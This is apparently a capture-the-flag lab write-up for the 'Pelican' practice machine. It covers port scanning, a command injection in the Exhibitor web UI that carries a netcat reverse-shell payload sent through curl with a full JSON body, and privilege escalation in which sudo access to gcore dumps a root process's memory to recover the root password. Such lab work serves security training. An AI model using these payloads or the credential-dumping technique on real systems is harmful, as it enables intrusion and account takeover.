Pelican_flow
Recon
TCP Scan
nmap -sCV -oN scans/tcp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP !5551
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 16:46 +08
Nmap scan report for 192.168.231.98 (192.168.231.98)
Host is up (0.0085s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
| http-methods:
|_ Potentially risky methods: PUT
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open http Jetty 1.0
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(1.0)
8081/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.231.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m35s, median: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: pelican
| NetBIOS computer name: PELICAN\x00
| Domain name: \x00
| FQDN: pelican
|_ System time: 2026-06-20T04:46:27-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-06-20T08:46:28
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds
UDP Scan (Top 20)
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP --open !5556
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 16:47 +08
Nmap scan report for 192.168.231.98 (192.168.231.98)
Host is up (0.012s latency).
Not shown: 12 closed udp ports (port-unreach)
PORT STATE SERVICE
69/udp open|filtered tftp
123/udp open|filtered ntp
162/udp open|filtered snmptrap
500/udp open|filtered isakmp
514/udp open|filtered syslog
631/udp open|filtered ipp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 7.58 seconds
Service Enumeration
Web
Browse
http://192.168.178.98:8080/exhibitor/v1/ui/index.html
Googlefu
https://www.exploit-db.com/exploits/48654
The steps to exploit it from a web browser:
Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON
In the "java.env script" field, enter any command surrounded by $() or ``, for example, for a simple reverse shell:
$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)
Click Commit > All At Once > OK
The command may take up to a minute to execute.
It can also be performed with a single curl command:
command: curl -X POST -d @data.json http://10.0.0.200:8080/exhibitor/v1/config/set
data.json: { "zookeeperInstallDirectory": "/opt/zookeeper", "zookeeperDataDirectory": "/opt/zookeeper/snapshots", "zookeeperLogDirectory": "/opt/zookeeper/transactions", "logIndexDirectory": "/opt/zookeeper/transactions", "autoManageInstancesSettlingPeriodMs": "0", "autoManageInstancesFixedEnsembleSize": "0", "autoManageInstancesApplyAllAtOnce": "1", "observerThreshold": "0", "serversSpec": "1:exhibitor-demo", "javaEnvironment": "$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)", "log4jProperties": "", "clientPort": "2181", "connectPort": "2888", "electionPort": "3888", "checkMs": "30000", "cleanupPeriodMs": "300000", "cleanupMaxFiles": "20", "backupPeriodMs": "600000", "backupMaxStoreMs": "21600000", "autoManageInstances": "1", "zooCfgExtra": { "tickTime": "2000", "initLimit": "10", "syncLimit": "5", "quorumListenOnAllIPs": "true" }, "backupExtra": { "directory": "" }, "serverId": 1 }
Foothold
ExploitDB 48654
Command:
curl -X POST -d @data.json http://$IP:8080/exhibitor/v1/config/set
data.json:
{ "zookeeperInstallDirectory": "/opt/zookeeper", "zookeeperDataDirectory": "/opt/zookeeper/snapshots", "zookeeperLogDirectory": "/opt/zookeeper/transactions", "logIndexDirectory": "/opt/zookeeper/transactions", "autoManageInstancesSettlingPeriodMs": "0", "autoManageInstancesFixedEnsembleSize": "0", "autoManageInstancesApplyAllAtOnce": "1", "observerThreshold": "0", "serversSpec": "1:exhibitor-demo", "javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.45.232 4444 &)", "log4jProperties": "", "clientPort": "2181", "connectPort": "2888", "electionPort": "3888", "checkMs": "30000", "cleanupPeriodMs": "300000", "cleanupMaxFiles": "20", "backupPeriodMs": "600000", "backupMaxStoreMs": "21600000", "autoManageInstances": "1", "zooCfgExtra": { "tickTime": "2000", "initLimit": "10", "syncLimit": "5", "quorumListenOnAllIPs": "true" }, "backupExtra": { "directory": "" }, "serverId": 1 }
Shell
─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.232] from (UNKNOWN) [192.168.178.98] 57594
id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
hostname
pelican
python3 -c 'import pty;pty.spawn("/bin/bash")'
charles@pelican:/opt/zookeeper$ ^Z
zsh: suspended nc -lvnp 4444
┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/Pelican]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 4444
charles@pelican:/opt/zookeeper$ export TERM=xterm
charles@pelican:/opt/zookeeper$
user flag
charles@pelican:/opt/zookeeper$ cd ~
charles@pelican:~$ ls -al
total 28
drwxr-xr-x 3 charles charles 4096 Sep 10 2020 .
drwxr-xr-x 3 root root 4096 Sep 10 2020 ..
-rw-r--r-- 1 charles charles 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 charles charles 3526 Apr 18 2019 .bashrc
drwxr-xr-x 3 charles charles 4096 Sep 10 2020 .java
-rw-r--r-- 1 charles charles 33 Jun 22 09:53 local.txt
-rw-r--r-- 1 charles charles 807 Apr 18 2019 .profile
charles@pelican:~$ cat local.txt
342fad4b49411064ecf6922591d33a1c
Privilege Escalation
Low-Hanging Fruits
charles@pelican:~$ sudo -l
Matching Defaults entries for charles on pelican:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
/usr/bin/gcore:
- Script to generate a core file of a running program.
- It starts up gdb, attaches to the given PID and invokes the gcore command.
Processes
charles@pelican:~$ ps -u root u
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.5 103972 10300 ? Ss 09:50 0:00 /sbin/init
root 2 0.0 0.0 0 0 ? S 09:50 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 09:50 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 09:50 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 09:50 0:00 [kworker/0:0H-k
root 7 0.0 0.0 0 0 ? I 09:50 0:00 [kworker/u2:0-e
root 8 0.0 0.0 0 0 ? I< 09:50 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 09:50 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 09:50 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? I 09:50 0:00 [rcu_bh]
root 12 0.0 0.0 0 0 ? S 09:50 0:00 [migration/0]
root 13 0.0 0.0 0 0 ? I 09:50 0:00 [kworker/0:1-mm
root 14 0.0 0.0 0 0 ? S 09:50 0:00 [cpuhp/0]
root 15 0.0 0.0 0 0 ? S 09:50 0:00 [kdevtmpfs]
root 16 0.0 0.0 0 0 ? I< 09:50 0:00 [netns]
root 17 0.0 0.0 0 0 ? S 09:50 0:00 [kauditd]
root 18 0.0 0.0 0 0 ? S 09:50 0:00 [khungtaskd]
root 19 0.0 0.0 0 0 ? S 09:50 0:00 [oom_reaper]
root 20 0.0 0.0 0 0 ? I< 09:50 0:00 [writeback]
root 21 0.0 0.0 0 0 ? S 09:50 0:00 [kcompactd0]
root 22 0.0 0.0 0 0 ? SN 09:50 0:00 [ksmd]
root 23 0.0 0.0 0 0 ? SN 09:50 0:00 [khugepaged]
root 24 0.0 0.0 0 0 ? I< 09:50 0:00 [crypto]
root 25 0.0 0.0 0 0 ? I< 09:50 0:00 [kintegrityd]
root 26 0.0 0.0 0 0 ? I< 09:50 0:00 [kblockd]
root 27 0.0 0.0 0 0 ? I< 09:50 0:00 [edac-poller]
root 28 0.0 0.0 0 0 ? I< 09:50 0:00 [devfreq_wq]
root 29 0.0 0.0 0 0 ? S 09:50 0:00 [watchdogd]
root 30 0.0 0.0 0 0 ? S 09:50 0:00 [kswapd0]
root 48 0.0 0.0 0 0 ? I< 09:50 0:00 [kthrotld]
root 49 0.0 0.0 0 0 ? S 09:50 0:00 [irq/24-pciehp]
root 50 0.0 0.0 0 0 ? S 09:50 0:00 [irq/25-pciehp]
root 51 0.0 0.0 0 0 ? S 09:50 0:00 [irq/26-pciehp]
root 52 0.0 0.0 0 0 ? S 09:50 0:00 [irq/27-pciehp]
root 53 0.0 0.0 0 0 ? S 09:50 0:00 [irq/28-pciehp]
root 54 0.0 0.0 0 0 ? S 09:50 0:00 [irq/29-pciehp]
root 55 0.0 0.0 0 0 ? S 09:50 0:00 [irq/30-pciehp]
root 56 0.0 0.0 0 0 ? S 09:50 0:00 [irq/31-pciehp]
root 57 0.0 0.0 0 0 ? S 09:50 0:00 [irq/32-pciehp]
root 58 0.0 0.0 0 0 ? S 09:50 0:00 [irq/33-pciehp]
root 59 0.0 0.0 0 0 ? S 09:50 0:00 [irq/34-pciehp]
root 60 0.0 0.0 0 0 ? S 09:50 0:00 [irq/35-pciehp]
root 61 0.0 0.0 0 0 ? S 09:50 0:00 [irq/36-pciehp]
root 62 0.0 0.0 0 0 ? S 09:50 0:00 [irq/37-pciehp]
root 63 0.0 0.0 0 0 ? S 09:50 0:00 [irq/38-pciehp]
root 64 0.0 0.0 0 0 ? S 09:50 0:00 [irq/39-pciehp]
root 65 0.0 0.0 0 0 ? S 09:50 0:00 [irq/40-pciehp]
root 66 0.0 0.0 0 0 ? S 09:50 0:00 [irq/41-pciehp]
root 67 0.0 0.0 0 0 ? S 09:50 0:00 [irq/42-pciehp]
root 68 0.0 0.0 0 0 ? S 09:50 0:00 [irq/43-pciehp]
root 69 0.0 0.0 0 0 ? S 09:50 0:00 [irq/44-pciehp]
root 70 0.0 0.0 0 0 ? S 09:50 0:00 [irq/45-pciehp]
root 71 0.0 0.0 0 0 ? S 09:50 0:00 [irq/46-pciehp]
root 72 0.0 0.0 0 0 ? S 09:50 0:00 [irq/47-pciehp]
root 73 0.0 0.0 0 0 ? S 09:50 0:00 [irq/48-pciehp]
root 74 0.0 0.0 0 0 ? S 09:50 0:00 [irq/49-pciehp]
root 75 0.0 0.0 0 0 ? S 09:50 0:00 [irq/50-pciehp]
root 76 0.0 0.0 0 0 ? S 09:50 0:00 [irq/51-pciehp]
root 77 0.0 0.0 0 0 ? S 09:50 0:00 [irq/52-pciehp]
root 78 0.0 0.0 0 0 ? S 09:50 0:00 [irq/53-pciehp]
root 79 0.0 0.0 0 0 ? S 09:50 0:00 [irq/54-pciehp]
root 80 0.0 0.0 0 0 ? S 09:50 0:00 [irq/55-pciehp]
root 81 0.0 0.0 0 0 ? I< 09:50 0:00 [kstrp]
root 124 0.0 0.0 0 0 ? S 09:50 0:00 [scsi_eh_0]
root 126 0.0 0.0 0 0 ? I< 09:50 0:00 [scsi_tmf_0]
root 128 0.0 0.0 0 0 ? I< 09:50 0:00 [vmw_pvscsi_wq_
root 132 0.0 0.0 0 0 ? I< 09:50 0:00 [ata_sff]
root 134 0.0 0.0 0 0 ? S 09:50 0:00 [scsi_eh_1]
root 135 0.0 0.0 0 0 ? I 09:50 0:00 [kworker/u2:2-e
root 136 0.0 0.0 0 0 ? I< 09:50 0:00 [kworker/0:1H-k
root 138 0.0 0.0 0 0 ? I< 09:50 0:00 [scsi_tmf_1]
root 140 0.0 0.0 0 0 ? S 09:50 0:00 [scsi_eh_2]
root 141 0.0 0.0 0 0 ? I< 09:50 0:00 [scsi_tmf_2]
root 147 0.0 0.0 0 0 ? I< 09:50 0:00 [ttm_swap]
root 149 0.0 0.0 0 0 ? S 09:50 0:00 [irq/16-vmwgfx]
root 220 0.0 0.0 0 0 ? I< 09:50 0:00 [kworker/u3:0]
root 222 0.0 0.0 0 0 ? S 09:50 0:00 [jbd2/sda1-8]
root 223 0.0 0.0 0 0 ? I< 09:50 0:00 [ext4-rsv-conve
root 257 0.0 0.3 43104 8020 ? Ss 09:50 0:00 /lib/systemd/sy
root 280 0.0 0.2 22476 5148 ? Ss 09:50 0:00 /lib/systemd/sy
root 314 0.0 0.5 48220 10772 ? Ss 09:50 0:00 /usr/bin/VGAuth
root 323 0.0 0.6 123176 12324 ? Ssl 09:50 0:00 /usr/bin/vmtool
root 443 0.0 0.1 8504 2760 ? Ss 09:50 0:00 /usr/sbin/cron
root 444 0.0 0.2 225824 4348 ? Ssl 09:50 0:00 /usr/sbin/rsysl
root 455 0.0 0.2 19768 5232 ? Ss 09:50 0:00 /sbin/wpa_suppl
root 457 0.0 0.4 318244 9736 ? Ssl 09:50 0:00 /usr/sbin/Modem
root 465 0.0 0.5 398424 11796 ? Ssl 09:50 0:00 /usr/lib/udisks
root 466 0.0 0.3 19528 7376 ? Ss 09:50 0:00 /lib/systemd/sy
root 469 0.0 0.1 9468 2404 ? S 09:50 0:00 /usr/sbin/CRON
root 487 0.0 0.0 2388 1608 ? Ss 09:50 0:00 /bin/sh -c whil
root 512 0.0 0.3 235840 6660 ? Ssl 09:50 0:00 /usr/lib/policy
root 513 0.0 0.0 2276 72 ? Ss 09:50 0:00 /usr/bin/passwo
root 514 0.0 0.5 184976 11000 ? Ssl 09:50 0:00 /usr/sbin/cups-
root 554 0.0 0.3 313364 7004 ? Ssl 09:50 0:00 /usr/sbin/light
root 557 0.0 0.3 15852 6600 ? Ss 09:50 0:00 /usr/sbin/sshd
root 581 0.0 0.0 5612 1712 tty1 Ss+ 09:50 0:00 /sbin/agetty -o
root 582 0.0 2.2 224980 46204 tty7 Ssl+ 09:50 0:00 /usr/lib/xorg/X
root 584 0.0 0.0 69740 1704 ? Ss 09:50 0:00 nginx: master p
root 636 0.0 0.4 102808 8268 ? Ssl 09:50 0:00 /usr/sbin/cupsd
root 657 0.0 0.3 166792 7220 ? Sl 09:50 0:00 lightdm --sessi
root 720 0.0 0.2 18748 5276 ? S 09:50 0:00 lightdm --sessi
root 1322 0.0 1.0 50128 21128 ? Ss 09:52 0:00 /usr/sbin/smbd
root 1324 0.0 0.2 46672 5932 ? S 09:52 0:00 /usr/sbin/smbd
root 1325 0.0 0.2 46664 4252 ? S 09:52 0:00 /usr/sbin/smbd
root 1327 0.0 0.3 50136 7136 ? S 09:52 0:00 /usr/sbin/smbd
root 1670 0.0 0.7 258852 15612 ? Ssl 09:53 0:00 /usr/sbin/Netwo
root 10690 0.0 0.0 0 0 ? I 10:27 0:00 [kworker/0:0-at
root 11802 0.0 0.0 0 0 ? I 10:32 0:00 [kworker/0:2-at
root 12235 0.0 0.0 5260 744 ? S 10:34 0:00 sleep 1
gcore
root 513 0.0 0.0 2276 72 ? Ss 09:50 0:00 /usr/bin/password-store
charles@pelican:~$ sudo /usr/bin/gcore 513
0x00007f971bd1c6f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffc3d7a2c80, remaining=remaining@entry=0x7ffc3d7a2c80) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28 ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.513
[Inferior 1 (process 513) detached]
charles@pelican:~$ ls -al
total 376
drwxr-xr-x 3 charles charles 4096 Jun 22 10:38 .
drwxr-xr-x 3 root root 4096 Sep 10 2020 ..
-rw-r--r-- 1 charles charles 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 charles charles 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 root root 354448 Jun 22 10:38 core.513
drwxr-xr-x 3 charles charles 4096 Sep 10 2020 .java
-rw-r--r-- 1 charles charles 33 Jun 22 09:53 local.txt
-rw-r--r-- 1 charles charles 807 Apr 18 2019 .profile
core.513 file:
charles@pelican:~$ strings core.513 > 513core.txt
CORE
password-store
/usr/bin/password-store
CORE
x,z=
CORE
/usr/bin/passwor
////////////////
LINUX
/usr/bin/passwor
////////////////
IGISCORE
CORE
ELIFCORE
/usr/bin/password-store
/usr/bin/password-store
/usr/lib/x86_64-linux-gnu/libc-2.28.so
/usr/lib/x86_64-linux-gnu/libc-2.28.so
/usr/lib/x86_64-linux-gnu/ld-2.28.so
/usr/lib/x86_64-linux-gnu/ld-2.28.so
fork failed!
/tmp
;*3$"
aliases
ethers
group
gshadow
hosts
initgroups
netgroup
networks
passwd
protocols
publickey
services
shadow
CAk[S
N?z=
E?z=
libc.so.6
/lib/x86_64-linux-gnu
libc.so.6
P-z=
;*3$"
P.z=
sse2
x86_64
avx512_1
i586
i686
haswell
xeon_phi
linux-vdso.so.1
tls/x86_64/x86_64/tls/x86_64/
/lib/x86_64-linux-gnu/libc.so.6
P z=
8!z=
P z=
P z=
p&z=
p&z=
p&z=
@&z=
h'z=
0+z=
+z=
+z=
@(z=
(+z=
/usr/bin/passwor
////////////////
/usr/bin/passwor
////////////////
////////////////
`,z=
@-z=
@-z=
-z=
001 Password: root:
ClogKingpinInning731
E?z=
]?z=
h?z=
u?z=
x86_64
/usr/bin/password-store
HOME=/root
LOGNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/root
/usr/bin/password-store
bemX
__vdso_clock_gettime
__vdso_gettimeofday
__vdso_time
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Linux
Linux
4.19.0-10-amd64
AVAUATSH
[A\A]A^]
D9+u
[A\A]A^]
D9#u
H+=x
H#=y
H+=K
H#=L
AVAUATI
[A\A]A^]
GCC: (Debian 8.3.0-6) 8.3.0
.shstrtab
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_d
.dynamic
.rodata
.note
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
.shstrtab
note0
load
root password
charles@pelican:~$ grep -A3 -B3 root 513core.txt
@-z=
@-z=
-z=
001 Password: root:
ClogKingpinInning731
E?z=
]?z=
--
u?z=
x86_64
/usr/bin/password-store
HOME=/root
LOGNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/root
/usr/bin/password-store
bemX
__vdso_clock_gettime
ClogKingpinInning731 - possible #password
root flag
charles@pelican:~$ su -
Password:
root@pelican:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pelican:~# whoami && hostname && cat proof.txt
root
pelican
6f62451949763443a8074ae090ca98eb
